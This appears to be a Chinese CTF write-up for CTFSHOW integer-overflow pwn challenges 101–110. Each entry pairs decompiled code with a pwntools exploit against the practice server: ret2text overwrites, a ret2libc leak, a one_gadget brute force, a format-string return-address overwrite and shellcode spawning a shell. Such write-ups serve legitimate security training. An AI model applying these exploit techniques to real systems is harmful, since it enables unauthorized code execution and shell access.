pwn101 1 2 3 4 5 6 7 8 9 $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/101/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No a1gorithms@A1gorithm:/mnt/hgfs/E/C
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int __fastcall main (int argc, const char argv, const char envp) { unsigned int v4; int n0x7FFFFFFF; unsigned __int64 v6; v6 = __readfsqword(0x28u ); init(argc, argv, envp); logo(); puts ("Maybe these help you:" ); useful(); v4 = 0x80000000 ; n0x7FFFFFFF = 0x7FFFFFFF ; printf ("Enter two integers: " ); if ( (unsigned int )__isoc99_scanf("%d %d" , &v4, &n0x7FFFFFFF) == 2 ) { if ( v4 == 0x80000000 && n0x7FFFFFFF == 0x7FFFFFFF ) gift(); else printf ("upover = %d, downover = %d\n" , v4, n0x7FFFFFFF); return 0 ; } else { puts ("Error: Invalid input. Please enter two integers." ); return 1 ; } }
1 2 3 4 5 6 7 上界溢出有两种情况,一种是 0x7fff + 1 , 另一种是 0xffff + 1 。 因为计算机底层指令是不区分有符号和无符号的,数据都是以二进制形式存在(编译器的层面才对有符号和无符号进行区分,产生不同的汇编指令)。 所以 add 0x7fff , 1 == 0x8000 ,这种上界溢出对无符号整型就没有影响,但是在有符号短整型中,0x7fff 表示的是 32767 ,但是 0x8000 表示的是 -32768 ,用数学表达式来表示就是在有符号短整型中 32767 +1 == -32768 。 第二种情况是 add 0xffff , 1 ,这种情况需要考虑的是第一个操作数。 比如上面的有符号型加法的汇编代码是 add eax, 1 ,因为 eax=0xffff ,所以 add eax, 1 == 0x10000 ,但是无符号的汇编代码是对内存进行加法运算 add word ptr [rbp - 0x1a ], 1 == 0x0000 。 在有符号的加法中,虽然 eax 的结果为 0x10000 ,但是只把 ax=0x0000 的值储存到了内存中,从结果看和无符号是一样的。 但是在无符号短整型中,0xffff == 65535 , 65535 + 1 == 0 。
目标是v4 == 0x80000000 && n0x7FFFFFFF == 0x7FFFFFFF,但是下面的输入用的是int的说明符;对于int来说0x7FFFFFFF = 2147483647,0x80000000 = -2147483648
pwn102 1 2 3 4 5 6 7 8 $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/102/pwn' Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __fastcall main (int argc, const char argv, const char envp) { int v4; unsigned __int64 v5; v5 = __readfsqword(0x28u ); init(argc, argv, envp); logo(); puts ("Maybe these help you:" ); useful(); v4 = 0 ; printf ("Enter an unsigned integer: " ); __isoc99_scanf("%u" , &v4); if ( v4 == -1 ) gift(); else printf ("Number = %u\n" , v4); return 0 ; }
1 从数字层面看看这种溢出的结果,在有符号短整型中,0xffff ==-1 ,-1 + 1 == 0 ,从有符号看这种计算没问题。
pwn103 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 unsigned __int64 ctfshow () { int n; void *src; _BYTE dest[88 ]; unsigned __int64 v4; v4 = __readfsqword(0x28u ); n = 0 ; src = 0 ; printf ("Enter the length of data (up to 80): " ); __isoc99_scanf("%d" , &n); if ( n <= 80 ) { printf ("Enter the data: " ); __isoc99_scanf(" %[^\n]" , dest); memcpy (dest, src, n); if ( (unsigned __int64)dest > 114514 ) gift(); } else { puts ("Invalid input! No cookie for you!" ); } return __readfsqword(0x28u ) ^ v4; }
这么看其实是用了一个比较讨巧的办法,输入0则让memcpy不产生作用;这个char dest[88]中dest本身就是一个指针/地址,通常任意64位地址都是比114514大的。所以输入0就直接能绕过检测。
pwn104 1 2 3 4 5 6 7 8 $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/104/pwn' Arch: amd64-64 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000 ) Stripped: No
1 2 3 4 5 6 7 8 9 10 11 ssize_t ctfshow () { _BYTE buf[10 ]; size_t nbytes; LODWORD(nbytes) = 0 ; puts ("How long are you?" ); __isoc99_scanf("%d" , &nbytes); puts ("Who are you?" ); return read(0 , buf, (unsigned int )nbytes); }
覆盖地址转到后门函数即可
1 2 3 4 5 6 7 8 9 from pwn import * p = remote("pwn.challenge.ctf.show" , 28185 ) context(arch="amd64" ,os="linux" ,log_level="debug" ) p.sendlineafter(b'How long are you?' , b'30' ) payload = b"a" *22 + p64(0x40078D ) p.sendlineafter(b'Who are you?' ,payload) p.interactive()
pwn105 1 2 3 4 5 6 7 8 $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/105/pwn' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __cdecl main (int argc, const char argv, const char envp) { char buf[1024 ]; int *p_argc; p_argc = &argc; init(); logo(); puts ("[+] Check your permissions:" ); read(0 , buf, 0x400u ); ctfshow(buf); puts ("wtf" ); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 char *__cdecl ctfshow (char *s) { char dest[8 ]; unsigned __int8 n3; n3 = strlen (s); if ( n3 <= 3u || n3 > 8u ) { puts ("Authentication failed!" ); exit (-1 ); } printf ("Authentication successful, Hello %s" , s); return strcpy (dest, s); }
我们可以来看一下汇编,这里strlen一般是把结果放在eax上,但是这里只有al(即结果的低1字节):这意味着长度为0x104的字符串会被截断成0x04,骗过检测。所以可以利用这个点覆盖返回地址。
这个是后门函数
1 2 3 4 5 6 7 from pwn import *p = remote('pwn.challenge.ctf.show' , 28248 ) success_addr = 0x804870E payload = (b'a' *(0x11 +4 ) + p32(success_addr)).ljust(0x104 , b'a' )+b'\x00' p.sendlineafter(b'Check your permissions:' ,payload) p.interactive()
pwn106 1 2 3 4 5 6 7 8 $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/106/pwn' Arch: i386-32 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000 ) Stripped: No
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 int __cdecl main (int argc, const char argv, const char envp) { int v4; int v5; int p_n2; int *p_argc; p_argc = &argc; init(); logo(); puts ("1.login" ); puts ("2.quit" ); printf ("Your choice:" ); __isoc99_scanf("%d" , &p_n2, v4, v5); if ( p_n2 == 1 ) { login(p_argc); } else { if ( p_n2 == 2 ) { puts ("Bye~" ); exit (0 ); } puts ("Invalid Choice!" ); } return 0 ; }
输入2进入login
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __cdecl login () { _BYTE s[40 ]; char buf[516 ]; memset (s, 0 , sizeof (s)); memset (buf, 0 , 0x200u ); puts ("Please input your username:" ); read(0 , s, 0x19u ); printf ("Hello %s\n" , s); puts ("Please input your passwd:" ); read(0 , buf, 0x199u ); return check_passwd(buf); }
输入名字和密码,密码(最大0x199字节)进入check_passwd
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 char *__cdecl check_passwd (char *s) { char dest[11 ]; unsigned __int8 n3; n3 = strlen (s); if ( n3 > 3u && n3 <= 8u ) { puts ("Success" ); fflush(stdout ); return strcpy (dest, s); } else { puts ("Invalid Password" ); return (char *)fflush(stdout ); } }
密码长度要在4-8之间
看一下汇编,与上题一样,取了低1字节作为检测对象;同样也有后门函数:
1 2 3 4 5 6 7 8 9 10 from pwn import *p = remote('pwn.challenge.ctf.show' , 28192 ) context(arch='i386' , os='linux' ,log_level='debug' ) success_addr = 0x8048919 payload = (b'a' *(0x14 +4 ) + p32(success_addr)).ljust(0x104 , b'a' )+b'\x00' p.sendlineafter(b'Your choice:' ,b'1' ) p.sendlineafter(b'username:' ,b'abc' ) p.sendlineafter(b'passwd:' ,payload) p.interactive()
pwn107 1 2 3 4 5 6 7 8 $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/107/pwn' Arch: i386-32 -little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000 ) Stripped: No
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int show () { char nptr[32 ]; int n4; printf ("How many bytes do you want me to read? " ); getch(nptr, 4 ); n4 = atoi(nptr); if ( n4 > 32 ) return printf ("No! That size (%d) is too large!\n" , n4); printf ("Ok, sounds good. Give me %u bytes of data!\n" , n4); getch(nptr, n4); return printf ("You said: %s\n" , nptr); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 char *__cdecl getch (char *nptr, unsigned int n4) { unsigned int i_1; char char ; unsigned int i; for ( i = 0 ; ; ++i ) { char = getchar(); if ( !char || char == 10 || i >= n4 ) break ; i_1 = i; nptr[i_1] = char ; } nptr[i] = 0 ; return &nptr[i]; }
elf文件中也有syscall:
getch函数会把输入的size值当做无符号整数解析,如果输入-1,则变成无符号整数的最大值,所以说这里出现了整数溢出,输入-1即可:
然后调用printf函数泄露地址利用libc即可;我的libcseacher一直在Timeout,所以我手动找了一个libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *from LibcSearcher import *p = remote('pwn.challenge.ctf.show' , 28171 ) context(arch='i386' , os='linux' ,log_level='debug' ) elf = ELF(r'/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/107/pwn' ) p.sendlineafter(b'to read? ' ,b'-1' ) printf_plt = elf.plt["printf" ] show_addr = elf.sym["show" ] printf_got = elf.got["printf" ] payload = b'a' *(0x2c +4 ) + p32(printf_plt) + p32(show_addr) + p32(printf_got) p.sendlineafter(b'data!\n' ,payload) leak_addr = u32(p.recvuntil(b'\xf7' )[-4 :]) print (hex (leak_addr))printf_libc = 0x50b60 libc_base = leak_addr - printf_libc str_bin_sh = 0x17b8cf + libc_base system = 0x3cd10 + libc_base payload2 = b'a' *(0x2c +4 ) + p32(system) + p32(show_addr) + p32(str_bin_sh) p.sendlineafter(b'to read? ' ,b'-1' ) p.sendlineafter(b'data!\n' ,payload2) p.interactive()
pwn108 1 2 3 4 5 6 7 $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/108/pwn' Arch: amd64-64 -little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 __int64 __fastcall main (__int64 a1, char a2, char a3) { int i; int j; __int64 v6; _BYTE v7[3 ]; unsigned __int64 v8; v8 = __readfsqword(0x28u ); sub_9BA(a1, a2, a3); sub_A55(); puts ("Free shooting games! Three bullets available!" ); printf ("I placed the target near: %p\n" , &puts ); puts ("shoot!shoot!" ); v6 = sub_B78(); for ( i = 0 ; i <= 2 ; ++i ) { puts ("biang!" ); read(0 , &v7[i], 1u ); getchar(); } if ( (unsigned int )sub_BC2(v7) ) { for ( j = 0 ; j <= 2 ; ++j ) *(_BYTE *)(j + v6) = v7[j]; } if ( !dlopen(0 , 1 ) ) exit (1 ); puts ("bye~" ); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 __int64 sub_B78 () { char nptr[24 ]; unsigned __int64 v2; v2 = __readfsqword(0x28u ); sub_AE3(nptr, 16 ); return atol(nptr); } unsigned __int64 __fastcall sub_AE3 (_BYTE *buf, int i) { int j; unsigned __int64 v5; v5 = __readfsqword(0x28u ); for ( j = 0 ; j < i; ++j ) { if ( (unsigned int )read(0 , buf, 1u ) == -1 ) exit (1 ); if ( *buf == 10 ) break ; ++buf; } return __readfsqword(0x28u ) ^ v5; }
这里只能输入一次,三次输入覆盖v6的低位为one_gadget的地址(3字节足够覆盖,前5字节均一致);程序最后会调用 dlopen,dlopen 会进入 ld.so,ld.so 会从 _rtld_global 中取出函数指针并 call,我们提前把这个函数指针改成 one_gadget,所以 dlopen 会帮我们跳到 one_gadget:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 from pwn import * import re context.log_level = 'debug' HOST = 'pwn.challenge.ctf.show' PORT = 28103 puts_offset = 0x80970 gadget_offset = 0x4f302 # 这里是需要继续验证或爆破的相对偏移 target_candidates = [ 0x81df60 , 0x81ef60 , 0xe2af60 , ] for target_rel in target_candidates: p = remote(HOST, PORT) data = p.recvuntil(b'shoot!shoot!\n' ) leak = int (re.search(rb'near: (0x[0-9a-fA-F]+)' , data).group(1 ), 16 ) libc_base = leak - puts_offset target = libc_base + target_rel gadget = libc_base + gadget_offset b0 = gadget & 0xff b1 = (gadget >> 8 ) & 0xff b2 = (gadget >> 16 ) & 0xff print(f'l eak = {hex(leak)}') print(f' libc_base = {hex(libc_base)}') print(f' target = {hex(target)}') print(f' gadget = {hex(gadget)}') print(f' bytes = {[hex(b0), hex(b1), hex(b2)]}') p.sendline(str(target).encode()) p.recvuntil(b' biang!\n') p.sendline(bytes([b0])) p.recvuntil(b' biang!\n') p.sendline(bytes([b1])) p.recvuntil(b' biang!\n') p.sendline(bytes([b2])) p.sendline(b' echo PWNED') try: out = p.recvrepeat(0.5) except EOFError: out = b' ' if b'PWNED' in out: print('success' ) p.interactive() break p.close()
pwn109 1 2 3 4 5 6 7 8 9 $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/109/pwn' Arch: i386-32 -little RELRO: Full RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: PIE enabled Stack: Executable RWX: Has RWX segments
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 int __cdecl sub_90B (int a1) { int p_n2; char buf[1024 ]; int *v4; v4 = &a1; init(); logo(); while ( 1 ) { while ( 1 ) { puts ("What you want to do?\n1) Input someing!\n2) Hang out!!\n3) Quit!!!" ); __isoc99_scanf("%d" , &p_n2); getchar(); if ( p_n2 != 2 ) break ; printf_w(buf); } if ( p_n2 == 3 ) break ; if ( p_n2 == 1 ) print_addr_and_read(buf, 0x400u ); else printf ("What do you mean by %d" , p_n2); } puts ("See you~" ); return 0 ; }
print_addr_and_read(buf, 0x400u);会打印buf的起始地址,同时读400字节;后面再跳转到2时就可以格式化字符串了:
第8个参数打印buf的起始地址,buf[0:4] 对应 %16$。在buf上写入shellcode之后执行即可。
1 2 3 # 假设通过测试发现 offset = 6 # 想将 0xdeadbeef 写入地址 0x0804a010 payload = fmtstr_payload(6 , {0x0804a010 : 0xdeadbeef })
覆盖地址这里是个老大难(main函数的返回地址),我们来看一下汇编
根据汇编来看,main函数返回地址(进入函数前esp的地址)在经历对齐栈(and esp, 0FFFFFFF0h,就是删掉了低位1字节)和连续两次push之后(-0x4*2),ebp才来;我们动调看一下具体删了几字节:
看的出来在进main之前低1字节是0xc,所以我们写返回地址的时候需要:
offset = 0x408(buf距离ebp的距离) + 0x8 + 0xC
payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * p = remote("pwn.challenge.ctf.show" , 28191 ) context(arch="i386" ,os="linux" ,log_level="debug" ) elf = ELF(r'/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/109/pwn' ) # printf_plt = elf.plt["printf" ] # printf_got = elf.got["printf" ] p.sendlineafter(b'3) Quit!!!\n' , b'1' ) leakaddr = eval(b'0x' +p.recvuntil(b'\n' ,drop='True' )) print(leakaddr) payload = fmtstr_payload(16 , {leakaddr + 0x410 +0xc : leakaddr}) p.sendline(payload) p.sendlineafter(b'3) Quit!!!\n' , b'2' ) #再调用一次格式化字符串之后达成覆盖地址的作用 p.sendlineafter(b'3) Quit!!!\n' , b'1' ) payload = asm (shellcraft.sh()) p.sendline(payload) p.sendlineafter(b'3) Quit!!!\n' , b'3' ) p.interactive()
pwn110 1 2 3 4 5 6 7 8 9 10 $ checksec pwn [*] '/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/110/pwn' Arch: i386-32 -little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000 ) Stack: Executable RWX: Has RWX segments Stripped: No
1 2 3 4 5 6 7 8 9 int __cdecl __noreturn main (int argc, const char argv, const char envp) { init(&argc); logo(); puts ("1+1= ?" ); input(); while ( 1 ) puts (str); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 unsigned __int16 *input () { __int16 p_n1024; _BYTE buf[1025 ]; unsigned __int16 p_n1024_1; strcpy (buf, "???" ); memset (&buf[4 ], 0 , 102 1 ); __isoc99_scanf("%hd" , &p_n1024); if ( p_n1024 > 1024 ) { puts ("You are soooooooooo ******" ); exit (0 ); } p_n1024_1 = p_n1024; printf ("%x %u\n" , buf, (unsigned __int16)p_n1024); read(0 , buf, p_n1024_1); qmemcpy( str, buf, 0x400u ); unk_804B460 = buf[1024 ]; return &p_n1024_1; }
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * p = remote("pwn.challenge.ctf.show" , 28279 ) context(arch="i386" ,os="linux" ,log_level="debug" ) # elf = ELF(r'/mnt/hgfs/E/CTF/pwn学习/CTFSHOW/Integer/110/pwn' ) p.sendlineafter(b'1+1= ?\n' , b'-1' ) leakaddr = eval(b'0x' +p.recvuntil(b' 65535' ,drop='True' )) print(hex(leakaddr)) offset = 0x41b + 0x4 payload = asm (shellcraft.sh()).ljust(offset, b'a' ) payload += p32(leakaddr) p.sendline(payload) p.interactive()